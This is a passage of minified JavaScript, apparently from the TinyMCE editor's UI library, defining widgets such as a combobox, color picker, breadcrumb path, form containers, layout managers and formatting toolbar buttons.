id="'+t+'-al" class="'+n+'label">'+e.encode(e._text)+"</span></div>"}})}),r(Rt,[Nt,G,Y],function(e,t,n){return e.extend({init:function(e){var t=this;t._super(e),t.addClass("combobox"),t.subinput=!0,t.ariaTarget="inp",e=t.settings,e.menu=e.menu||e.values,e.menu&&(e.icon="caret"),t.on("click",function(n){for(var r=n.target,i=t.getEl();r&&r!=i;)r.id&&-1!=r.id.indexOf("-open")&&(t.fire("action"),e.menu&&(t.showMenu(),n.aria&&t.menu.items()[0].focus())),r=r.parentNode}),t.on("keydown",function(e){"INPUT"==e.target.nodeName&&13==e.keyCode&&t.parents().reverse().each(function(n){return e.preventDefault(),t.fire("change"),n.hasEventListeners("submit")&&n.toJSON?(n.fire("submit",{data:n.toJSON()}),!1):void 0})}),e.placeholder&&(t.addClass("placeholder"),t.on("focusin",function(){t._hasOnChange||(n.on(t.getEl("inp"),"change",function(){t.fire("change")}),t._hasOnChange=!0),t.hasClass("placeholder")&&(t.getEl("inp").value="",t.removeClass("placeholder"))}),t.on("focusout",function(){0===t.value().length&&(t.getEl("inp").value=e.placeholder,t.addClass("placeholder"))}))},showMenu:function(){var e=this,n=e.settings,r;e.menu||(r=n.menu||[],r.length?r={type:"menu",items:r}:r.type=r.type||"menu",e.menu=t.create(r).parent(e).renderTo(e.getContainerElm()),e.fire("createmenu"),e.menu.reflow(),e.menu.on("cancel",function(t){t.control===e.menu&&e.focus()}),e.menu.on("show hide",function(t){t.control.items().each(function(t){t.active(t.value()==e.value())})}).fire("show"),e.menu.on("select",function(t){e.value(t.control.value())}),e.on("focusin",function(t){"INPUT"==t.target.tagName.toUpperCase()&&e.menu.hide()}),e.aria("expanded",!0)),e.menu.show(),e.menu.layoutRect({w:e.layoutRect().w}),e.menu.moveRel(e.getEl(),e.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},value:function(e){var t=this;return"undefined"!=typeof e?(t._value=e,t.removeClass("placeholder"),t._rendered&&(t.getEl("inp").value=e),t):t._rendered?(e=t.getEl("inp").value,e!=t.settings.placeholder?e:""):t._value},disabled:function(e){var t=this;return t._rendered&&"undefined"!=typeof e&&(t.getEl("inp").disabled=e),t._super(e)},focus:function(){this.getEl("inp").focus()},repaint:function(){var e=this,t=e.getEl(),r=e.getEl("open"),i=e.layoutRect(),o,a;o=r?i.w-n.getSize(r).width-10:i.w-10;var s=document;return s.all&&(!s.documentMode||s.documentMode<=8)&&(a=e.layoutRect().h-2+"px"),n.css(t.firstChild,{width:o,lineHeight:a}),e._super(),e},postRender:function(){var e=this;return n.on(this.getEl("inp"),"change",function(){e.fire("change")}),e._super()},remove:function(){n.off(this.getEl("inp")),this._super()},renderHtml:function(){var e=this,t=e._id,n=e.settings,r=e.classPrefix,i=n.value||n.placeholder||"",o,a,s="",l="";return"spellcheck"in n&&(l+=' spellcheck="'+n.spellcheck+'"'),n.maxLength&&(l+=' maxlength="'+n.maxLength+'"'),n.size&&(l+=' size="'+n.size+'"'),n.subtype&&(l+=' type="'+n.subtype+'"'),e.disabled()&&(l+=' disabled="disabled"'),o=n.icon,o&&"caret"!=o&&(o=r+"ico "+r+"i-"+n.icon),a=e._text,(o||a)&&(s='<div id="'+t+'-open" class="'+r+"btn "+r+'open" tabIndex="-1" role="button"><button id="'+t+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!=o?'<i class="'+o+'"></i>':'<i class="'+r+'caret"></i>')+(a?(o?" ":"")+a:"")+"</button></div>",e.addClass("has-open")),'<div id="'+t+'" class="'+e.classes()+'"><input id="'+t+'-inp" class="'+r+"textbox "+r+'placeholder" value="'+i+'" hidefocus="1"'+l+" />"+s+"</div>"}})}),r(At,[Rt],function(e){return e.extend({init:function(e){var t=this;e.spellcheck=!1,e.onaction&&(e.icon="none"),t._super(e),t.addClass("colorbox"),t.on("change keyup postrender",function(){t.repaintColor(t.value())})},repaintColor:function(e){var t=this.getEl().getElementsByTagName("i")[0];if(t)try{t.style.background=e}catch(n){}},value:function(e){var t=this;return"undefined"!=typeof e&&t._rendered&&t.repaintColor(e),t._super(e)}})}),r(Bt,[kt,rt],function(e,t){return e.extend({showPanel:function(){var e=this,n=e.settings;if(e.active(!0),e.panel)e.panel.show();else{var r=n.panel;r.type&&(r={layout:"grid",items:r}),r.role=r.role||"dialog",r.popover=!0,r.autohide=!0,r.ariaRoot=!0,e.panel=new t(r).on("hide",function(){e.active(!1)}).on("cancel",function(t){t.stopPropagation(),e.focus(),e.hidePanel()}).parent(e).renderTo(e.getContainerElm()),e.panel.fire("show"),e.panel.reflow()}e.panel.moveRel(e.getEl(),n.popoverAlign||(e.isRtl()?["bc-tr","bc-tc"]:["bc-tl","bc-tc"]))},hidePanel:function(){var e=this;e.panel&&e.panel.hide()},postRender:function(){var e=this;return e.aria("haspopup",!0),e.on("click",function(t){t.control===e&&(e.panel&&e.panel.visible()?e.hidePanel():(e.showPanel(),e.panel.focus(!!t.aria)))}),e._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}})}),r(Dt,[Bt,y],function(e,t){var n=t.DOM;return e.extend({init:function(e){this._super(e),this.addClass("colorbutton")},color:function(e){return e?(this._color=e,this.getEl("preview").style.backgroundColor=e,this):this._color},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,r=e.settings.icon?n+"ico "+n+"i-"+e.settings.icon:"",i=e.settings.image?" style=\"background-image: url('"+e.settings.image+"')\"":"";return'<div id="'+t+'" class="'+e.classes()+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+i+"></i>":"")+'<span id="'+t+'-preview" class="'+n+'preview"></span>'+(e._text?(r?" ":"")+e._text:"")+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var e=this,t=e.settings.onclick;return e.on("click",function(r){r.aria&&"down"==r.aria.key||r.control!=e||n.getParent(r.target,"."+e.classPrefix+"open")||(r.stopImmediatePropagation(),t.call(e,r))}),delete e.settings.onclick,e._super()}})}),r(Lt,[],function(){function e(e){function i(e,i,o){var a,s,l,c,u,d;return a=0,s=0,l=0,e/=255,i/=255,o/=255,u=t(e,t(i,o)),d=n(e,n(i,o)),u==d?(l=u,{h:0,s:0,v:100*l}):(c=e==u?i-o:o==u?e-i:o-e,a=e==u?3:o==u?1:5,a=60*(a-c/(d-u)),s=(d-u)/d,l=d,{h:r(a),s:r(100*s),v:r(100*l)})}function o(e,i,o){var a,s,l,c;if(e=(parseInt(e,10)||0)%360,i=parseInt(i,10)/100,o=parseInt(o,10)/100,i=n(0,t(i,1)),o=n(0,t(o,1)),0===i)return void(d=f=p=r(255*o));switch(a=e/60,s=o*i,l=s*(1-Math.abs(a%2-1)),c=o-s,Math.floor(a)){case 0:d=s,f=l,p=0;break;case 1:d=l,f=s,p=0;break;case 2:d=0,f=s,p=l;break;case 3:d=0,f=l,p=s;break;case 4:d=l,f=0,p=s;break;case 5:d=s,f=0,p=l;break;default:d=f=p=0}d=r(255*(d+c)),f=r(255*(f+c)),p=r(255*(p+c))}function a(){function e(e){return e=parseInt(e,10).toString(16),e.length>1?e:"0"+e}return"#"+e(d)+e(f)+e(p)}function s(){return{r:d,g:f,b:p}}function l(){return i(d,f,p)}function c(e){var t;return"object"==typeof e?"r"in e?(d=e.r,f=e.g,p=e.b):"v"in e&&o(e.h,e.s,e.v):(t=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(e))?(d=parseInt(t[1],10),f=parseInt(t[2],10),p=parseInt(t[3],10)):(t=/#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(e))?(d=parseInt(t[1],16),f=parseInt(t[2],16),p=parseInt(t[3],16)):(t=/#([0-F])([0-F])([0-F])/gi.exec(e))&&(d=parseInt(t[1]+t[1],16),f=parseInt(t[2]+t[2],16),p=parseInt(t[3]+t[3],16)),d=0>d?0:d>255?255:d,f=0>f?0:f>255?255:f,p=0>p?0:p>255?255:p,u}var u=this,d=0,f=0,p=0;e&&c(e),u.toRgb=s,u.toHsv=l,u.toHex=a,u.parse=c}var t=Math.min,n=Math.max,r=Math.round;return e}),r(Ht,[Nt,Q,Y,Lt],function(e,t,n,r){return e.extend({Defaults:{classes:"widget colorpicker"},init:function(e){this._super(e)},postRender:function(){function e(e,t){var r=n.getPos(e),i,o;return i=t.pageX-r.x,o=t.pageY-r.y,i=Math.max(0,Math.min(i/e.clientWidth,1)),o=Math.max(0,Math.min(o/e.clientHeight,1)),{x:i,y:o}}function i(e,t){var i=(360-e.h)/360;n.css(d,{top:100*i+"%"}),t||n.css(p,{left:e.s+"%",top:100-e.v+"%"}),f.style.background=new r({s:100,v:100,h:e.h}).toHex(),s.color().parse({s:e.s,v:e.v,h:e.h})}function o(t){var n;n=e(f,t),c.s=100*n.x,c.v=100*(1-n.y),i(c),s.fire("change")}function a(t){var n;n=e(u,t),c=l.toHsv(),c.h=360*(1-n.y),i(c,!0),s.fire("change")}var s=this,l=s.color(),c,u,d,f,p;u=s.getEl("h"),d=s.getEl("hp"),f=s.getEl("sv"),p=s.getEl("svp"),s._repaint=function(){c=l.toHsv(),i(c)},s._super(),s._svdraghelper=new t(s._id+"-sv",{start:o,drag:o}),s._hdraghelper=new t(s._id+"-h",{start:a,drag:a}),s._repaint()},rgb:function(){return this.color().toRgb()},value:function(e){var t=this;return arguments.length?(t.color().parse(e),void(t._rendered&&t._repaint())):t.color().toHex()},color:function(){return this._color||(this._color=new r),this._color},renderHtml:function(){function e(){var e,t,n="",i,a;for(i="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",a=o.split(","),e=0,t=a.length-1;t>e;e++)n+='<div class="'+r+'colorpicker-h-chunk" style="height:'+100/t+"%;"+i+a[e]+",endColorstr="+a[e+1]+");-ms-"+i+a[e]+",endColorstr="+a[e+1]+')"></div>';return n}var t=this,n=t._id,r=t.classPrefix,i,o="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000",a="background: -ms-linear-gradient(top,"+o+");background: linear-gradient(to bottom,"+o+");";return i='<div id="'+n+'-h" class="'+r+'colorpicker-h" style="'+a+'">'+e()+'<div id="'+n+'-hp" class="'+r+'colorpicker-h-marker"></div></div>','<div id="'+n+'" class="'+t.classes()+'"><div id="'+n+'-sv" class="'+r+'colorpicker-sv"><div class="'+r+'colorpicker-overlay1"><div class="'+r+'colorpicker-overlay2"><div id="'+n+'-svp" class="'+r+'colorpicker-selector1"><div class="'+r+'colorpicker-selector2"></div></div></div></div></div>'+i+"</div>"}})}),r(Mt,[Nt],function(e){return e.extend({init:function(e){var t=this;e.delimiter||(e.delimiter="\xbb"),t._super(e),t.addClass("path"),t.canFocus=!0,t.on("click",function(e){var n,r=e.target;(n=r.getAttribute("data-index"))&&t.fire("select",{value:t.data()[n],index:n})})},focus:function(){var e=this;return e.getEl().firstChild.focus(),e},data:function(e){var t=this;return"undefined"!=typeof e?(t._data=e,t.update(),t):t._data},update:function(){this.innerHtml(this._getPathHtml())},postRender:function(){var e=this;e._super(),e.data(e.settings.data)},renderHtml:function(){var e=this;return'<div id="'+e._id+'" class="'+e.classes()+'">'+e._getPathHtml()+"</div>"},_getPathHtml:function(){var e=this,t=e._data||[],n,r,i="",o=e.classPrefix;for(n=0,r=t.length;r>n;n++)i+=(n>0?'<div class="'+o+'divider" aria-hidden="true"> '+e.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(n==r-1?" "+o+"last":"")+'" data-index="'+n+'" tabindex="-1" id="'+e._id+"-"+n+'" aria-level="'+n+'">'+t[n].name+"</div>";return i||(i='<div class="'+o+'path-item">\xa0</div>'),i}})}),r(Pt,[Mt,ht],function(e,t){return e.extend({postRender:function(){function e(e){if(1===e.nodeType){if("BR"==e.nodeName||e.getAttribute("data-mce-bogus"))return!0;if("bookmark"===e.getAttribute("data-mce-type"))return!0}return!1}var n=this,r=t.activeEditor;return n.on("select",function(e){r.focus(),r.selection.select(this.data()[e.index].element),r.nodeChanged()}),r.on("nodeChange",function(t){for(var i=[],o=t.parents,a=o.length;a--;)if(1==o[a].nodeType&&!e(o[a])){var s=r.fire("ResolveName",{name:o[a].nodeName.toLowerCase(),target:o[a]});if(s.isDefaultPrevented()||i.push({name:s.name,element:o[a]}),s.isPropagationStopped())break}n.data(i)}),n._super()}})}),r(Ot,[J],function(e){return e.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.addClass("formitem"),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes()+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<div id="'+e._id+'-title" class="'+n+'title">'+e.settings.title+"</div>":"")+'<div id="'+e._id+'-body" class="'+e.classes("body")+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}})}),r(It,[J,Ot,d],function(e,t,n){return e.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:20,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var e=this,r=e.items();e.settings.formItemDefaults||(e.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),r.each(function(r){var i,o=r.settings.label;o&&(i=new t(n.extend({items:{type:"label",id:r._id+"-l",text:o,flex:0,forId:r._id,disabled:r.disabled()}},e.settings.formItemDefaults)),i.type="formitem",r.aria("labelledby",r._id+"-l"),"undefined"==typeof r.settings.flex&&(r.settings.flex=1),e.replace(r,i),i.add(r))})},recalcLabels:function(){var e=this,t=0,n=[],r,i,o;if(e.settings.labelGapCalc!==!1)for(o="children"==e.settings.labelGapCalc?e.find("formitem"):e.items(),o.filter("formitem").each(function(e){var r=e.items()[0],i=r.getEl().clientWidth;t=i>t?i:t,n.push(r)}),i=e.settings.labelGap||0,r=n.length;r--;)n[r].settings.minWidth=t+i},visible:function(e){var t=this._super(e);return e===!0&&this._rendered&&this.recalcLabels(),t},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){var e=this;e._super(),e.recalcLabels(),e.fromJSON(e.settings.data)}})}),r(Ft,[It],function(e){return e.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.preRender(),t.preRender(e),'<fieldset id="'+e._id+'" class="'+e.classes()+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<legend id="'+e._id+'-title" class="'+n+'fieldset-title">'+e.settings.title+"</legend>":"")+'<div id="'+e._id+'-body" class="'+e.classes("body")+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></fieldset>"}})}),r(zt,[Rt,d],function(e,t){return e.extend({init:function(e){var n=this,r=tinymce.activeEditor,i=r.settings,o,a,s;e.spellcheck=!1,s=i.file_picker_types||i.file_browser_callback_types,s&&(s=t.makeMap(s,/[, ]/)),(!s||s[e.filetype])&&(a=i.file_picker_callback,!a||s&&!s[e.filetype]?(a=i.file_browser_callback,!a||s&&!s[e.filetype]||(o=function(){a(n.getEl("inp").id,n.value(),e.filetype,window)})):o=function(){var i=n.fire("beforecall").meta;i=t.extend({filetype:e.filetype},i),a.call(r,function(e,t){n.value(e).fire("change",{meta:t})},n.value(),i)}),o&&(e.icon="browse",e.onaction=o),n._super(e)}})}),r(Wt,[_t],function(e){return e.extend({recalc:function(e){var t=e.layoutRect(),n=e.paddingBox();e.items().filter(":visible").each(function(e){e.layoutRect({x:n.left,y:n.top,w:t.innerW-n.right-n.left,h:t.innerH-n.top-n.bottom}),e.recalc&&e.recalc()})}})}),r(Vt,[_t],function(e){return e.extend({recalc:function(e){var t,n,r,i,o,a,s,l,c,u,d,f,p,h,m,g,v=[],y,b,C,x,w,_,E,N,k,S,T,R,A,B,D,L,H,M,P,O,I,F,z=Math.max,W=Math.min;for(r=e.items().filter(":visible"),i=e.layoutRect(),o=e._paddingBox,a=e.settings,f=e.isRtl()?a.direction||"row-reversed":a.direction,s=a.align,l=e.isRtl()?a.pack||"end":a.pack,c=a.spacing||0,("row-reversed"==f||"column-reverse"==f)&&(r=r.set(r.toArray().reverse()),f=f.split("-")[0]),"column"==f?(k="y",E="h",N="minH",S="maxH",R="innerH",T="top",A="deltaH",B="contentH",P="left",H="w",D="x",L="innerW",M="minW",O="right",I="deltaW",F="contentW"):(k="x",E="w",N="minW",S="maxW",R="innerW",T="left",A="deltaW",B="contentW",P="top",H="h",D="y",L="innerH",M="minH",O="bottom",I="deltaH",F="contentH"),d=i[R]-o[T]-o[T],_=u=0,t=0,n=r.length;n>t;t++)p=r[t],h=p.layoutRect(),m=p.settings,g=m.flex,d-=n-1>t?c:0,g>0&&(u+=g,h[S]&&v.push(p),h.flex=g),d-=h[N],y=o[P]+h[M]+o[O],y>_&&(_=y);if(x={},x[N]=0>d?i[N]-d+i[A]:i[R]-d+i[A],x[M]=_+i[I],x[B]=i[R]-d,x[F]=_,x.minW=W(x.minW,i.maxW),x.minH=W(x.minH,i.maxH),x.minW=z(x.minW,i.startMinWidth),x.minH=z(x.minH,i.startMinHeight),!i.autoResize||x.minW==i.minW&&x.minH==i.minH){for(C=d/u,t=0,n=v.length;n>t;t++)p=v[t],h=p.layoutRect(),b=h[S],y=h[N]+h.flex*C,y>b?(d-=h[S]-h[N],u-=h.flex,h.flex=0,h.maxFlexSize=b):h.maxFlexSize=0;for(C=d/u,w=o[T],x={},0===u&&("end"==l?w=d+o[T]:"center"==l?(w=Math.round(i[R]/2-(i[R]-d)/2)+o[T],0>w&&(w=o[T])):"justify"==l&&(w=o[T],c=Math.floor(d/(r.length-1)))),x[D]=o[P],t=0,n=r.length;n>t;t++)p=r[t],h=p.layoutRect(),y=h.maxFlexSize||h[N],"center"===s?x[D]=Math.round(i[L]/2-h[H]/2):"stretch"===s?(x[H]=z(h[M]||0,i[L]-o[P]-o[O]),x[D]=o[P]):"end"===s&&(x[D]=i[L]-h[H]-o.top),h.flex>0&&(y+=h.flex*C),x[E]=y,x[k]=w,p.layoutRect(x),p.recalc&&p.recalc(),w+=y+c}else if(x.w=x.minW,x.h=x.minH,e.layoutRect(x),this.recalc(e),null===e._lastRect){var V=e.parent();V&&(V._lastRect=null,V.recalc())}}})}),r(Ut,[wt],function(e){return e.extend({Defaults:{containerClass:"flow-layout",controlClass:"flow-layout-item",endClass:"break"},recalc:function(e){e.items().filter(":visible").each(function(e){e.recalc&&e.recalc()})}})}),r($t,[K,Nt,rt,d,ht,u],function(e,t,n,r,i,o){function a(e){function t(t,n){return function(){var r=this;e.on("nodeChange",function(i){var o=e.formatter,a=null;s(i.parents,function(e){return s(t,function(t){return n?o.matchNode(e,n,{value:t.value})&&(a=t.value):o.matchNode(e,t.value)&&(a=t.value),a?!1:void 0}),a?!1:void 0}),r.value(a)})}}function r(e){e=e.replace(/;$/,"").split(";");for(var t=e.length;t--;)e[t]=e[t].split("=");return e}function i(){function t(e){var n=[];if(e)return s(e,function(e){var o={text:e.title,icon:e.icon};if(e.items)o.menu=t(e.items);else{var a=e.format||"custom"+r++;e.format||(e.name=a,i.push(e)),o.format=a,o.cmd=e.cmd}n.push(o)}),n}function n(){var n;return n=t(e.settings.style_formats_merge?e.settings.style_formats?o.concat(e.settings.style_formats):o:e.settings.style_formats||o)}var r=0,i=[],o=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}];return e.on("init",function(){s(i,function(t){e.formatter.register(t.name,t)})}),{type:"menu",items:n(),onPostRender:function(t){e.fire("renderFormatsMenu",{control:t.control})},itemDefaults:{preview:!0,textStyle:function(){return this.settings.format?e.formatter.getCssText(this.settings.format):void 0},onPostRender:function(){var t=this;t.parent().on("show",function(){var n,r;n=t.settings.format,n&&(t.disabled(!e.formatter.canApply(n)),t.active(e.formatter.match(n))),r=t.settings.cmd,r&&t.active(e.queryCommandState(r))})},onclick:function(){this.settings.format&&l(this.settings.format),this.settings.cmd&&e.execCommand(this.settings.cmd)}}}}function o(t){return function(){function n(){return e.undoManager?e.undoManager[t]():!1}var r=this;t="redo"==t?"hasRedo":"hasUndo",r.disabled(!n()),e.on("Undo Redo AddUndo TypingUndo ClearUndos",function(){r.disabled(!n())})}}function a(){var t=this;e.on("VisualAid",function(e){t.active(e.hasVisual)}),t.active(e.hasVisual)}function l(t){t.control&&(t=t.control.value()),t&&e.execCommand("mceToggleFormat",!1,t)}var c;c=i(),s({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(t,n){e.addButton(n,{tooltip:t,onPostRender:function(){var t=this;e.formatter?e.formatter.formatChanged(n,function(e){t.active(e)}):e.on("init",function(){e.formatter.formatChanged(n,function(e){t.active(e)})})},onclick:function(){l(n)}})}),s({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],removeformat:["Clear formatting","RemoveFormat"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"]},function(t,n){e.addButton(n,{tooltip:t[0],cmd:t[1]})}),s({blockquote:["Blockquote","mceBlockQuote"],numlist:["Numbered list","InsertOrderedList"],bullist:["Bullet list","InsertUnorderedList"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],alignleft:["Align left","JustifyLeft"],aligncenter:["Align center","JustifyCenter"],alignright:["Align right","JustifyRight"],alignjustify:["Justify","JustifyFull"]},function(t,n){e.addButton(n,{tooltip:t[0],cmd:t[1],onPostRender:function(){var t=this;e.formatter?e.formatter.formatChanged(n,function(e){t.active(e)}):e.on("init",function(){e.formatter.formatChanged(n,function(e){t.active(e)})})}})}),e.addButton("undo",{tooltip:"Undo",onPostRender:o("undo"),cmd:"undo"}),e.addButton("redo",{tooltip:"Redo",onPostRender:o("redo"),cmd:"redo"}),e.addMenuItem("newdocument",{text:"New document",shortcut:"Ctrl+N",icon:"newdocument",cmd:"mceNewDocument"}),e.addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Ctrl+Z",onPostRender:o("undo"),cmd:"undo"}),e.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Ctrl+Y",onPostRender:o("redo"),cmd:"redo"}),e.addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:a,cmd:"mceToggleVisualAid"}),s({cut:["Cut","Cut","Ctrl+X"],copy:["Copy","Copy","Ctrl+C"],paste:["Paste","Paste","Ctrl+V"],selectall:["Select all","SelectAll","Ctrl+A"],bold:["Bold","Bold","Ctrl+B"],italic:["Italic","Italic","Ctrl+I"],underline:["Underline","Underline"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"]},function(t,n){e.addMenuItem(n,{text:t[0],icon:n,shortcut:t[2],cmd:t[1]})}),e.on("mousedown",function(){n.hideAll()}),e.addButton("styleselect",{type:"menubutton",text:"Formats",menu:c}),e.addButton("formatselect",function(){var n=[],i=r(e.settings.block_formats||"Paragraph=p;Address=address;Pre=pre;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6");return s(i,function(t){n.push({text:t[0],value:t[1],textStyle:function(){return e.formatter.getCssText(t[1])}})}),{type:"listbox",text:i[0][0],values:n,fixedWidth:!0,onselect:l,onPostRender:t(n)}}),e.addButton("fontselect",function(){var n="Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",i=[],o=r(e.settings.font_formats||n);return s(o,function(e){i.push({text:{raw:e[0]},value:e[1],textStyle:-1==e[1].indexOf("dings")?"font-family:"+e[1]:""})}),{type:"listbox",text:"Font Family",tooltip:"Font Family",values:i,fixedWidth:!0,onPostRender:t(i,"fontname"),onselect:function(t){t.control.settings.value&&e.execCommand("FontName",!1,t.control.settings.value)}}}),e.addButton("fontsizeselect",function(){var n=[],r="8pt 10pt 12pt 14pt 18pt 24pt 36pt",i=e.settings.fontsize_formats||r;return s(i.split(" "),function(e){var t=e,r=e,i=e.split("=");i.length>1&&(t=i[0],r=i[1]),n.push({text:t,value:r})}),{type:"listbox",text:"Font Sizes",tooltip:"Font Sizes",values:n,fixedWidth:!0,onPostRender:t(n,"fontsize"),onclick:function(t){t.control.settings.value&&e.execCommand("FontSize",!1,t.control.settings.value)}}}),e.addMenuItem("formats",{text:"Formats",menu:c})}var s=r.each;i.on("AddEditor",function(t){t.editor.rtl&&(e.rtl=!0),a(t.editor)}),e.translate=function(e){return i.translate(e)},t.tooltips=!o.iOS}),r(qt,[_t],function(e){return e.extend({recalc:function(e){var t=e.settings,n,r,i,o,a,s,l,c,u,d,f,p,h,m,g,v,y,b,C,x,w,_,E=[],N=[],k,S,T,R,A,B;t=e.settings,i=e.items().filter(":visible"),o=e.layoutRect(),r=t.columns||Math.ceil(Math.sqrt(i.length)),n=Math.ceil(i.length/r),y=t.spacingH||t.spacing||0,b=t.spacingV||t.spacing||0,C=t.alignH||t.align,x=t.alignV||t.align,g=e._paddingBox,A="reverseRows"in t?t.reverseRows:e.isRtl(),C&&"string"==typeof C&&(C=[C]),x&&"string"==typeof x&&(x=[x]);for(d=0;r>d;d++)E.push(0);for(f=0;n>f;f++)N.push(0);for(f=0;n>f;f++)for(d=0;r>d&&(u=i[f*r+d],u);d++)c=u.layoutRect(),k=c.minW,S=c.minH,E[d]=k>E[d]?k:E[d],N[f]=S>N[f]?S:N[f];for(T=o.innerW-g.left-g.right,w=0,d=0;r>d;d++)w+=E[d]+(d>0?y:0),T-=(d>0?y:0)+E[d];for(R=o.innerH-g.top-g.bottom,_=0,f=0;n>f;f++)_+=N[f]+(f>0?b:0),R-=(f>0?b:0)+N[f];if(w+=g.left+g.right,_+=g.top+g.bottom,l={},l.minW=w+(o.w-o.innerW),l.minH=_+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW==o.minW&&l.minH==o.minH){o.autoResize&&(l=e.layoutRect(l),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH);var D;D="start"==t.packV?0:R>0?Math.floor(R/n):0;var L=0,H=t.flexWidths;if(H)for(d=0;d<H.length;d++)L+=H[d];else L=r;var M=T/L;for(d=0;r>d;d++)E[d]+=H?H[d]*M:M;for(h=g.top,f=0;n>f;f++){for(p=g.left,s=N[f]+D,d=0;r>d&&(B=A?f*r+r-1-d:f*r+d,u=i[B],u);d++)m=u.settings,c=u.layoutRect(),a=Math.max(E[d],c.startMinWidth),c.x=p,c.y=h,v=m.alignH||(C?C[d]||C[0]:null),"center"==v?c.x=p+a/2-c.w/2:"right"==v?c.x=p+a-c.w:"stretch"==v&&(c.w=a),v=m.alignV||(x?x[d]||x[0]:null),"center"==v?c.y=h+s/2-c.h/2:"bottom"==v?c.y=h+s-c.h:"stretch"==v&&(c.h=s),u.layoutRect(c),p+=a+y,u.recalc&&u.recalc();h+=s+b}}else if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var P=e.parent();P&&(P._lastRect=null,P.recalc())}}})}),r(jt,[Nt],function(e){return e.extend({renderHtml:function(){var e=this;return e.addClass("iframe"),e.canFocus=!1,'<iframe id="'+e._id+'" class="'+e.classes()+'" tabindex="-1" src="'+(e.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(e){this.getEl().src=e},html:function(e,t){var n=this,r=this.getEl().contentWindow.document.body;return r?(r.innerHTML=e,t&&t()):setTimeout(function(){n.html(e)},0),this}})}),r(Yt,[Nt,Y],function(e,t){return e.extend({init:function(e){var t=this;t._super(e),t.addClass("widget"),t.addClass("label"),t.canFocus=!1,e.multiline&&t.addClass("autoscroll"),e.strong&&t.addClass("strong")},initLayoutRect:function(){var e=this,n=e._super();if(e.settings.multiline){var 